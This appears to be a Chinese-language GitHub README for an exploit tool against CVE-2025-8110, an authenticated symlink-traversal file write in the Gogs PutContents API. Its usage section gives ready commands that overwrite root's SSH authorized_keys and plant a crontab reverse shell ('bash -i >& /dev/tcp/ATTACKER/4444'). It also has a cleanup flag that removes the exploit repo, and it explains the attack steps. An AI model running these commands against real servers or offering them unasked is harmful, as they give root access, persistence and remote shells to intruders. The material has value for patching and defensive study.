3jee/CVE-2025-8110
GitHub: 3jee/CVE-2025-8110
针对 Gogs <= 0.13.3 版本 PutContents API 符号链接遍历漏洞的 Python 利用工具,可实现任意文件写入与远程代码执行。
Stars: 1 | Forks: 0
# CVE-2025-8110 — Gogs <= 0.13.3 通过符号链接遍历实现的任意文件写入
## 概述
Gogs <= 0.13.3 存在通过 **PutContents API** (`/api/v1/repos/:owner/:repo/contents/:path`) 实现任意文件写入的漏洞。
该 API 会验证文件路径中是否存在目录遍历序列 (`../`),但在写入前**不会**解析符号链接。经过身份认证的用户可以推送包含指向服务器上任意文件的符号链接的提交,然后在该符号链接上调用 PutContents,从而用攻击者控制的内容覆盖目标文件。
当 Gogs 以 **root** 身份运行时(这是 Docker 和许多部署中的默认设置),这将导致系统完全沦陷。
| 详细信息 | 值 |
|---|---|
| **CVE** | CVE-2025-8110 |
| **受影响版本** | Gogs <= 0.13.3 |
| **类型** | 经过身份认证的任意文件写入 → RCE |
| **CVSS** | 8.8 (高危) |
| **组件** | PutContents API |
## 环境要求
- Python 3.10+
- `requests` (`pip install requests`)
- `git` CLI
- 一个有效的 Gogs 账户(或目标开启了自助注册)
## 使用方法
```
# Self-register 一个临时账户 + 为 root 写入 SSH pubkey
python3 CVE-2025-8110.py --url http://target:3001 --register \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# 使用现有 credentials
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub
# 通过 crontab 建立 Reverse shell
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /etc/crontab \
--content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
# 使用后清理 exploit repo
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
--target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup
```
## 工作原理
1. **身份认证** — 登录(或自助注册)并创建一个 API token。
2. **创建仓库** — 通过 Web UI 初始化一个带有 README 的新仓库。
3. **推送符号链接** — 在本地克隆仓库,创建一个指向目标文件(例如 `/root/.ssh/authorized_keys`)的符号链接,提交并推送。
4. **通过符号链接写入** — 在该符号链接文件名上调用 PutContents API。Gogs 会解析磁盘上的符号链接,并以 Gogs 进程用户(通常是 `root`)的身份将攻击者内容写入真实文件。
## 选项
```
--url Gogs base URL (e.g. http://target:3001)
-u, --user Gogs username
-p, --password Gogs password
--register Self-register a throwaway account (no captcha)
--target-file Absolute path to overwrite on the server
--content String content to write
--content-file Local file whose contents to write
--repo Repo name to create (default: random)
--link-name Symlink filename in the repo (default: payload)
--cleanup Delete the exploit repo after writing
```
## 免责声明
本工具仅供**授权的安全测试和教育目的**使用。未经授权访问计算机系统是非法的。请负责任地使用。
标签:API安全, CISA项目, Crontab后门, CVE-2025-8110, Docker, Exploit, Git, Gogs, JSON输出, Python, Python脚本, RCE, Root权限, SSH公钥写入, Web安全, 任意文件写入, 字符串匹配, 安全防御评估, 容器逃逸, 提权, 数字取证, 无后门, 符号链接, 编程工具, 自动化脚本, 蓝队分析, 路径穿越, 远程代码执行, 逆向工具